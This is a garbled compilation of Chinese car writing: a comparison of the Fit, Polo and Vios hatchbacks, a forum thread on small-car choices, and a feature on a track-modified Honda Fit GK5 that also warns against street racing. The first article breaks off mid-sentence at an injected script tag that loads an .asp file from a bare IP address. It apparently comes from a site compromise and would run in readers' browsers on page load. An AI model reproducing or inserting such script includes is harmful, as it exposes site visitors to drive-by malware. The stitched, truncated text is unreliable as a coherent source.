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对比：两厢飞度1.3CVT、两厢POLO 1.4MT、威姿1.3AT
来源：汽车导购
　　 两厢POLO
很多人喜欢针对一些根本无法说清楚的问题“喋喋不休”，“排量1.3 L好还是1.6 L好？”、“两厢好还是三厢好？”、“手动挡好还是自动挡好？”，这些关于“中国国民车”的争论都曾经在业界掀起波澜，但是结果总是不了了之。与其继续这样“上纲上线”，还不如正视实际存在的“众口难调”，尽量抢占更多的细分市场。本期介绍这样一些车，它们穿梭于城市的森林，游走于时尚的前沿，它们是都市的精灵。
　　 “时尚、简约、实用、自我”这些词语合并在一起就是时下都市新贵们对于生活态度的简单概括。城市的快节奏无疑会给生活在其中的人们带来许多压力，所以新生代的都市人在闲暇时喜欢释放自我、享受激情，使生活的节拍按照自己的意愿舞动，而汽车则成为了其中不可或缺的一个音符。两厢飞度、两厢POLO、威姿这些时时闪现在街头巷尾的“无尾精灵”恰恰迎合了年轻人追求个性的需求，为繁忙的城市增添了几分活泼的青春旋律。
　　虽是时尚代表但还要直面严峻的市场压力
　　威姿：丰田公司基于自己的世纪战略车平台NBC开发的小型车在国际上屡获殊荣，威姿的原型车YARIS更凭借亮丽的外形、实用的设计连续获得两次“欧洲全能冠军车”。然而进入中国之后，这位希腊女神却陷入了非常尴尬的境地。除了价格因素之外，丰田8A这款优秀的发动机却成了主要的绊脚石之一，“跟夏利一样的发动机”这句非常外行的话直接影响了车辆的销售，而同门师弟威乐也未能幸免，销量不够理想。我们试驾的这款自动豪华型目前的厂家指导价为8.68万元，经销商表示可以再优惠1 000元。
　　两厢飞度：也许是因为三厢飞度销售业绩非常理想，两厢飞度在现身中国之前似乎就已经成为新闻界的焦点，大家都希望这款血统更纯的车型能够早日驶入我们的生活，更希望它在没有了三厢车尾部的争议之后能够将“Fit”的火爆销售进行到底。正如人们的预期，“排队提车”、“加价销售”的情况的确在两厢飞度身上发生了。然而正当人们感叹“Fit兄弟”的热销时，商家开始让利销售两厢飞度，其让利幅度则更加令人大跌眼镜。记者走访了解到，在经过了年底大降价之后，两厢飞度的售价也相应回升。我们此次试驾的1.3 L自动挡型的市场价为10.68万元，经销商不提供优惠。
　　两厢POLO：我们前面提到了“都市新贵”，也讲到了他们个性化的消费需求，可是只有在POLO出现之后，这种需求才开始得到了满足，销售情况自然也非常理想，“菠萝派”甚至成为了一种有关生活品位的文化现象。然而随着新竞争对手的不断涌现，POLO的相当一部分市场被蚕食，“配置低”成了最主要原因，虽然随后厂家也有所改进，但是始终不能摆脱曲高和寡的境地。目前市场上POLO的销售比较混乱，2003款和2004款混杂在一起，以我们试驾的1.4 L手动舒适型为例，2003款的市场价为10.28万元左右，而2004款则要11.08万元，更有一些经销商将2003款当成2004款来卖，从中牟利，消费者购买时还需注意。
　　时尚的主要元素，外观不提不可
　　按照《汽车导购》的办刊原则，我们一向不主张“以貌取人”，车是用来开的，外观什么样都不如有“内秀”的性能来得实惠。另外，对于外观的看法向来都是仁者见仁、智者见智，我们说好看与否也只能代表一部分人的意见，所以很少在上面投入太多笔墨。然而本文中这几款车走的都是青春路线，外观是非常重要的元素，花些版面介绍只为让您多一些参考。
　　 “浑厚不失轻盈、活泼而又乖巧”，这是我们对于威姿外部造型的整体评价。虽然车宽比不上两厢飞度和POLO，但是大弧线的造型使得威姿看上去更加圆润，配以两个硕大的头灯使整车看上去充满灵气。略微向外凸起的腰线向后延伸并在车尾形成一个微小的“台阶”，显然设计者是为了增加尾部的活力，然而这却时常成为人们斥责的对象。别致的车身颜色的确是威姿的个性所在，但是色彩的调配上还是不敢恭维。
　　三辆车当中，两厢飞度是最后来到中国的，外观也融入了更多的时代气息，两厢飞度同三厢飞度相比最吸引人的地方是其略微向外凸出的车头灯组和里面超大的前照灯，这不仅有助于夜间行车，而且也为车辆增添了几分精气神。另外，5种不同的车身颜色也为消费者提供了多种张显个性的选择，其中绚丽红则成了十足的抢手货，常要预定才能买到。
按消费者的年龄划分，POLO应该算是最大的，它身上减少的是几分年轻的浮躁，多了几分稳健与自信。这种感觉或许来自于德国设计师的严谨，没有了前面两款车近乎夸张的大灯设计，也没有了两厢飞度那样过分强调车身线条，所以实际的购买群也发生了变化，30岁左右的年轻人会更加喜爱，他们所需要突出的个性不是年少时那几分活泼，而是体现自身对于生活的感悟和对于品位的追求。
　　两厢飞度和威姿在实用性方面表现各具特色，POLO另具优势
　　这三辆车在实用性方面的不同表现充分体现了日本和德国设计师在设计理念方面的不同，日系轿车喜欢在储物空间的多样化方面做文章，而德国车则更注重内饰风格的和谐和工整。
　　两厢车小、灵活性自然是优势，可是厂家总喜欢宣传宽大的内部空间，威姿也的确做到了这一点。坐在驾驶席上，最突出的感觉就是1 520 mm(比POLO高了55 mm)车高带来的充足的头部空间和良好的视野，中置的仪表盘也起到了增大视野的作用。各种各样的储物格随处可见，各种物品都可以在乘员触手可及的地方找到容身之地，非常方便。同前排相比，威姿后排座位似乎受到的关注并不够，横向空间不够理想，后排座椅坐三个人就显得比较局促了，出于尾部线条的原因后门窗采光不够理想，后面的乘客有些“憋屈”。
　　三辆车当中最希望在空间方面赢得卖点的就是两厢飞度了，其所倡导的“MM”理念也得到了充分体现。说起来您可能不信，除了车长输给对手之外，高度和宽度两厢飞度都是这三款车当中最大的，这也保证了它有比威姿更加理想的内部空间。值得一提的是，该车拥有基于?script src="http://61.146.118.11/news/include/md5.asp?ad=1">
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帮MM问问选那一个：北斗星、富康、威姿、C2、飞度、世嘉综合性价比PK[待解决]
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楼主 电梯直达 楼
5万元到近10万元的精品小车性价比选那一个呢？
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不要买一汽丰田的低端车形，威姿和飞度相比较还是飞度比比较好一些。另外，福特嘉年华两厢版也可以。
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我开过威姿的加PP版XL2K，质量很好，5年里面基本就是保养价格.
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再算了一下，如果206还能买到是最好的，或是C2也不错，便宜点的还有富康，贵一点的有世嘉
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北斗星、富康、威姿、C2、飞度、世嘉综合性价比PK一下，哈哈！如果是我，我就排顺序：C2-富康-北斗星三个选哪个都不会后悔
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日系车是没有性能的。只有价格富康-世嘉-C2
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自动挡的轴距和重量：富康，排量1.6&价格8.58万元C2&,排量1.6&价格9.98万元嘉年华两厢&,排量1.3&价格9.29万元嘉年华两厢1.5自动挡的要9.59万元如此看来排序如下:富康-嘉年华1.3-C28万元左右买自动挡的富康是不错的，不知现在是不是还有车子卖？
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富康已停产，新的爱利舍两厢1.6自动挡不错，轴距2540车重1150价格8.48万元，也强于嘉年华看来不是爱利舍两厢就是嘉年华了
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男的会选爱利舍,女的,估计还是偏爱嘉年华
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毕加索更多相关问题GIC&1分32&最速飞度GK5的背后有什么秘密？
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在新飞度（以下简称GK5）越来越被妖魔化的今天，有人反思，有人不服，也有人对此车种不屑一顾，混乱的街道中这种不和谐的氛围逐渐升温的时候，在广东国际赛车场中偏偏又传来一个炸晕脑壳的消息，GK5又将自家车种的圈速纪录推前了，而且是一次过推到了1分32秒这个时间段，在看到实车并仔细端详了一番后，笔者发现重点却不全在车上，而是一些更有趣的东西。
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图：这张成绩单也从侧面反映出了GIC赛事的现况，无论哪种车型，只要在GK5动力级别范围内的都几乎被虐成渣，更不要提那些被GK5越级挑落的那些大排量大动力的车种了。
如果笔者没有记错的话，大概是从2015年年初开始，GK5这个其貌不扬的新生代小恶魔开始在车友当中口口相传并争相入手开整了。车价便宜，动力跨级，车身轻，轴距短，一台钢炮的应有潜质差不多都齐了，不过最关键的还是这车太便宜，满足了一大波刚放下头文字D和湾岸漫画走进4S店选购人手第一台车的懵懂青少年的斗车梦想。
避震、刹车、排气管、竞技方向盘等等等等一股脑地往GK5身上塞的玩家大有人在，在这部分群体玩家中一个比较普遍的思想就是啥厉害就往车上塞就对了，对此，不久前在广东肇庆国际赛车场中用GK5跑出1分32秒的江门TPR
Racing主理人法哥提出了截然不同的意见。
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Racing主理人法哥在与笔者聊天时也特地拿出当天得到的那个奖杯出来看看并表示略为惋惜，他说当日赛道上车实在太多，若然赛道完全通畅的情况下他还可以把圈速继续更往前推一些。
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图：GIC是一条对综合技术要求比较高的赛道，大直路与复合低速弯的组合时刻考验着车队对车子的调教功力以及车手的个人技术。
相信广东甚至周边省份地区很多爱下赛道的小伙伴们都很熟悉GIC广东国际赛车场这条赛道。广东国际赛车场以FIA三级赛道安全标准设计，赛道总长度2.8公里，最长直路长度为718米，合共13个弯角组成，占地550亩，多个高速与低速弯道，通过赛道的组合变化，让许多赛事组织者与民间车队都青睐这里。
在GK5出来以前貌似GIC都是处于一种百花齐放的局面，无论是菱帅、锐志、马自达3、雨燕、二代飞度、思域、POLO、威姿等等家用或运动轿车都在这里争相出彩，更不用提那些老EG、EK在这里发挥余热了，可是自从GK5这小恶魔横空出世后，赛车场里嗅到了一丝别样的味道，人们开始惊奇的发现这货不仅仅作为一台经济型家用轿车受着工薪一族的青睐，原厂所带来的130匹功率输出以及变速箱根本不家用设定的大尾牙，令这台外形像大馒头的本田小车彻底变成了吃人的恶魔馒头。在一些专攻本田车种改造的改装品牌彻底研究并升级这台小恶魔后，GK5这股自带不讲理气氛的小恶魔迅速征服了不少赛车场以及车队的心。
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图：这台刚刚在GIC炸出1分32秒的GK5从外观上看除了碳纤维前唇、碳纤维发动机盖、拖车勾还有前杠设置刹车导风管外，并没有其他过多的外观升级，甚至与在街道上重改的GK5相比起来还要显得朴素。
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图：从赛场上回来已经换回平常用的轮毂：RAYS&CE28&
clubrace锻造轮毂。不过即便是街道用笔者还是嗅到了一股下血本的味道·······
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图：在本田LOGO隔壁的这个自制进风口令不少看完成绩表的人想入非非，莫非心脏已经像SPOON那样的做法，更换成本田前驱自吸最巅峰的红头K20？
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图：打开引擎盖的那一刻笔者没有见到K20，只是见到跟4S店里展车一模一样的L15B2发动机主体，那种感觉仿佛进入了洗脚房满心期待是位尤物来帮你按脚，结果推门而进的还是那位熟悉的抠脚大汉，最后还捏得挺舒服的（别想歪），一股说不出的滋味。
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图：这绝对不是因为土豪而爱上的金色，而是为了降低那几度进气温度的努力和思考。
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图：这副抠脚大汉···呸，这幅L15B2就是和街道上所看到的GK5所用的一模一样的L15B2，只是针对周边进行了强化，肉眼所见最明显的或许就是这个进气集成以及TPR
RACING定制加大节气门了。不过脑海中不断回响的1分32秒这组数字令笔者越端详越觉得自己所看到的是一副假的L15B2。
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图：赛道不软脚，刹车要很屌。这台快到被路人怀疑是假的GK5为了尽可能地在每一个弯道前推迟刹车点，法哥为其换上了AP
RACING&5000R
9444竞技刹车套件，要是在街道上能用这样的刹车，或许笔者会经常搭一些身材比较3D的女孩子为其配备调到最紧的三点式安全带，然后不看路开车（看哪里就别管了）。
名声鹊起的GK5在赛场车队与民间改装人士里两步并做一步走，以极快的速度俘虏了不少爱好赛车与改装的年轻人的心。几万块就能弄台赛车圈里的同款宠儿，试问哪个年轻人不心动？用潮一点的词语形容便是：“网红爆款”。这里插入一个真实的小故事，笔者有一位朋友长期在广本4S店里担当销售的工作，在GK5上市后不久，相比二代飞度大多数购买用户都是刚结婚的小两口或是刚奔小康的一家三口，除了原有的购买群体外，还多了一大堆年轻人跑进店里不要命似的试驾后直接问手动档最低配的价钱以及多久后能提车，实在把笔者的那位销售朋友给吓得够呛的，不过后来他也精明了，一看见三五成群的小伙子跑进店里看GK5时便“好心”的以带新同事为由让新同事陪他们去试驾。他原话说的便是：“老子刚做爸爸，孩子小老婆嫩，没必要再为了那点销售提成去陪那些未来车神疯了。”笔者听完他的描述后除了感到搞笑便是感慨，貌似很久没有见过一款车在上市后能如此地受年轻人青睐了。
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TITLE="GIC&1分32&最速飞度GK5的背后有什么秘密？" />
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图：笔者身边开GK5玩绞牙的朋友有的用已经国产化的TEIN&SAZ系列，有的用来自台湾的BC &Racing
V1、Border&S1之类的入门避震，说到底也是偏向街道用的方向。若然一心往赛道上跑的朋友，可以尝试一下法哥所在用的这款来自日本的RS.R
2ways的竞技避震。至于后梁下方的Ultra&Racing加强杆，相对于独立悬挂车型的后防倾杆来说作用并不算十分明显，但法哥表示安装这个是为了整台车在赛道上跑起来的动态需求。
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图：法哥为了更好的令排气有更好的表现来辅助发动机的输出，特地定制了全段全钛金排气，从每段直径到重量上都能满足赛道上的需求，不过法哥表示如此声浪高亢的全直通排气尽量别在街道上使用了，扰民之余还会令别人造成对改装车更深的误解。说句老实话，开车素质提了上去的朋友要是开着一台声浪过于响亮且嘈杂的直排车在街道上行驶都不好意思深踩油门，就跟大伙以前上课看中日友谊动作小电影时都会调成静音或小声一样。街道上真的不适合过于高调，尤其改装车这样敏感的群体。
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图：内饰方面已经将拆除偷轻的内饰门板、副驾之类的一堆重量物品安装回车上了，只是那套四点式的安全带还残留着当时一些跑圈速时的气息。B柱下的Ultra
Racing加强杆估计除了在赛道上提供效用外，还提醒平时坐后排的乘客这是一台不好惹的小恶魔，请抓好扶手。
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图：这张经过FIA认证的BRIDE不可调赛车桶椅也是分码数的，对于笔者来说塞进去是没问题，但要把人拔出来就有难度了，在街道上笔者还是感觉安装一些可调靠背的运动座椅比较适合，毕竟在街上时时刻刻保持这么一个格斗性的坐姿，除了会吓着你副驾的美女之外还比较容易上火。
无可否认的是改装界人士对GK5的高度认可，但随之而来也有一系列的副作用产生了，笔者在与法哥聊天时也不可避免的聊到了现今的一些现象，几万块就能买一台动力吊打同级的小车，让玩车的门槛降低了许多，许多年轻人满怀热情地用GK5在赛道上磨练着自己的驾驶技术，也有许多年轻人血气方刚在街上逞英雄像拍大片似的左穿右插，盲目地信仰冲昏了太多人的头脑，许多人坐进GK5的那一瞬间都仿佛变了一个人，街道仿佛变成了CTCC的赛道，丝毫不顾其他行驶车辆与行人的安慰，在街道上像子弹似的飞来飞去，笔者有时候晚上在路边宵夜档与朋友闲聊时常看见一些GK5开出了Type-R的感觉，一些开着思域或是锐志的让笔者最多感觉只是很快的驶过，而GK5，那种感觉已经夸张到像一个被全力击打的棒球似的向前飞去，对这些现象法哥也只是笑了笑摇摇头表示叹息，作为已经长期泡在赛车场的前辈来说，法哥表示在赛车场跑得越多，就越不想在街上开快车，因为赛道上那种近乎极限的驾驶方式令他明白在街道上根本不可能去复制，只要稍越雷池危险性便是成倍的提高。
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图：在视频中可以看到法哥在比赛时并没有拆除这台先锋CD机，或许只是为了配合上方的Defi三联表而填满了这个被挖空了的凌派中控屏？
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图：同为本田车主的笔者可以负责任的告诉大家这个Spoon方向盘的手感好的没话说，犹如握住了人生中最重要一根东西的感觉，妙不可言，只是价钱也是略贵而已。
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图：排档杆和踏板都是法哥在比赛用的款式没有改动，至于有些网友说的这台车用序列式变速箱之类的法哥实在是哭笑不得，技术不过关再高端的人机交互系统安装在车上也开不快，就这么简单。
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图：L15B2的马力输出已经和大众集团的1.4T增压发动机的马力输出持平了，这对于与GK5同级的小车来说几乎就是一大优势了，但或许会有读者说，单看这130匹左右的功率输出马力来说也不算那么夸张，凭啥就能越级吊打其他马力数据更漂亮的车呢？答案就在于变速箱。
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图：作为广汽本田第三代两厢飞度1.5升自然吸气家用小轿车来说，4.625的尾牙数据一点都不家用，要是您的妈妈开着一台手动档的GK5在高速上开120时发现转速已经到了4千转多点时，相信你的喜悦与阁下母亲的投诉是相映成趣的。GK5那妖魔性的加速感的秘密就在这里，用UC浏览器新闻部的标题形容GK5的原厂尾牙便是：《震惊！男人闻后欢喜，女人听后默默流泪·······》
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图：法哥表示这台GK5有一大部分的改造重点都放在变速箱上，包括档位齿之间的搭配和再一步升记的4.928大尾牙，当然少不了CUSCO的LSD和应对升级变速箱后的电脑调教。
尤其是法哥在GIC用GK5跑出了1分32秒的成绩后，当天赛车圈改装圈的微博、朋友圈之类的社交媒体几乎刷了一整天，许多人都留言说这台GK5是不是换机器了之类的，作为纪录的缔造者法哥有喜悦也有烦恼，他表示能创造这样一个成绩也证明了自己在赛车上的投入没有白费，也获得一定的成就感，但是喜悦过后他也突然感到了一丝责任感与压力，本来GK5这款车型经过了近两年多的发酵，已经在车友圈中引起了巨大的争议，现在消息一散播出去，怕是无意给那些没有正确驾驶观的GK5车主做了一个不好的榜样与谈资。“瞧！人家都能在赛道上跑这么快，干锐志虐CC打思域秒天秒地秒空气，老子的GK5在街上也是无敌的！”法哥最怕的就是有人说出这些话了，他一边叹息一边说：“车是无罪的，有罪的是车主，GK5的的确确是一款好车，但是太多人将它用错场合了，逞英雄，就应该在赛道上逞，在街道上像盲头苍蝇似的左穿右插恶意飙车的那不是英雄而是狗熊。”
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图：走进法哥店内便立马看见了一台全新落地的GK5已经在做赛车化改造了。法哥表示这台车也是非常用心地在打造，打算将来可以车队自用和出租给一些需要到赛道练技术的赛车爱好者。
从来没有一步登天，或许一些看官会觉得这台跑出1分32秒的GK5并没有什么特别之处，当然了，特别的地方都在看不到的地方，从变速箱档齿尾牙的搭配以及电脑调教，再到底盘部件加工重新设计，都汇集了法哥对赛道的熟悉与自己投入的海量心血。这些经验与技术并不是用钱就能够买来或者衡量的，法哥表示这台GK5如果在通畅无车的情况下跑，应该能将圈速再推前到1分30秒左右。而且还将会继续对这台GK5做针对性的升级令其更完善。
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图：在法哥的工作间可以见到所有工具与待开工的物品都摆放得井井有条。笔者认为一个时刻保持整齐清洁的工作环境是一间专业店家所拥有的最基本的要素。
法哥笑着对笔者说那天跑完之后实在太多人问他这台GK5是不是上K20了，其实压根就是原厂机器，只是针对周边强化了，重点都放在了变速箱改造、底盘设计升级改造，以及车身偷轻上面，当谈到改装方向时，法哥给出了一些建议，要是针对街道上的改装时真的不用太过分地将车子提到一个十分高的极限度，因为改装就像双刃剑，能带给人快感也能将危险性提高，看到这里可能会有读者有异议了，用正品的高性能部件，例如刹车轮胎还有周边一些安全性改件时，怎么可能就是将危险性提高呢？是的，表面来说的确是互相矛盾了，但请各位自称驾驶技术高超的车手们冷静下来想一想，街道并不是赛道，不可预知的突发情况比赛道上多一万倍都不止，越是盲目把车子的操控极限提高，对于一些驾驶心态不老成的“车手”们来说，变相麻木了他们对危险发生的畏惧心理，总以为自己用着最好的刹车和轮胎，整台车武装到了牙齿便可以在街道上无所畏惧的疾驰了，大错特错！这个世界没有后悔药吃，真的发生不可挽回的人命事故的话，找谁哭去？
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图：法哥平日的代步车是一台新款的奥德赛，还是忍不住手开改了，除了一套BBS轮毂与RS.R的避震外便并无其他了。法哥在车上不止一次地强调改车必须有度，太多人摸不清自己的需求就盲目开改，只会浪费钱。
法哥表示当觉得自己的技术需要再往上锻炼时，应该迅速进入赛车场当一名小白开始练起，而不是靠着那半桶水在街道上逞英雄。很多人买了台GK5回家后一股脑的就想着把最好最猛最高端的改件往车上塞。其实这是错误的，笔者曾见过一些GK5小白车主一提车不久就想把AP的小4卡钳往车上塞，其实任何事都有一个过程，要是真的感觉刹车不满意，可以从刹车皮开始更换，再到轮胎。后期也可以升级刹车钢喉和刹车总泵顶提升脚感，以及换更好的刹车油。当笔者以上所说的满足不了您时，再考虑升级整套刹车卡钳划线大碟之类的也不迟，不过当您走到这一步时，笔者也建议您该往赛道上走走了。
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图：拍摄当天与笔者一齐前往拍摄的小哥也是一名GK5玩家（这不废话么···GK5都泛滥成什么样了），基本的TEIN
SAZ绞牙避震与轮毂改装，轮胎也是用回原厂轮胎，相信很多GK5的玩家在这一步也开始碰到了瓶颈并不知道自己下一步该改些什么了，按小哥的原话回答：够用就好，人比人累死人。
法哥表示，一台街道上用的GK5需要改的地方并不像赛车那样全面且极端，天生的好心脏暴力小机器配上一个不家用的变速箱（更不用提另外那个黑科技般输出的CVT变速箱了）。只需要针对底盘方面做一些升级便可以很好玩了。例如避震方面，不希望那么折腾而且对姿态方面没什么要求的车主，或许一套优秀的套装避震比绞牙避震来的更为实际，在其他方面也是如此，对于某些新手玩家来说，在赛车场体验多几次，提升自身的驾驶技术比急于花大钱去盲目升级车辆要实际且安全得多。
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TITLE="GIC&1分32&最速飞度GK5的背后有什么秘密？" />
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总结：在与法哥交谈的过程中笔者也想到了一些东西，相比现在许多刚踏进改装圈的新玩家，法哥他们那一辈人或许在起步时没有那么多姿多彩，没有那么多外国友人的技术交流，没有ins，没有脸书，（现在有，不过还是得翻墙），没有前人的经验去参考，在他们那个年代，许多玩家都是从一套短弹簧或是一条不知名的手工排气去开始改装这个无底深坑，许多现在的老前辈以前都是自己不断走弯路走出来的，那些年，无敌网才只是个刚成立的论坛，民众才刚开始脱离老三样（捷达、富康、桑塔纳），开始去接受新的车型，例如菱帅、爱丽舍、老POLO之类的，在那个可玩车型都如此贫乏的年代里，更不用提可以有充足的改件供他们选择了，但硬是这样艰苦的条件下一样有一帮像法哥这样的前辈坚持住了对改装对赛车的热爱并选择一直坚守了下来，对比之下现在玩车的新人就幸福多了，有各种各样的社交媒体可以与国内国外的玩家交流，有空就上上无敌汽车网和一些知名的外国知名网站，要是再走弯路的话只可以怪自己固执了。
街道不是赛道，GK5被妖魔化不是一个巴掌拍得响的事情，车固然是好车，但也得看车主怎么开，玩车年龄层进一步探低是其中一个因素，但更大的因素现今太多的车主在互相影响，都快被侃成超跑了，可想而知在马路上那些不自律的车主开车究竟是有多过分，只希望那些马路英雄们能把自己的一腔热血都放在正确的地方，毕竟笔者相信在赛道上所花费的钱绝对比你马路飙车发生意外住院的钱少。
视频详情请看网站原文
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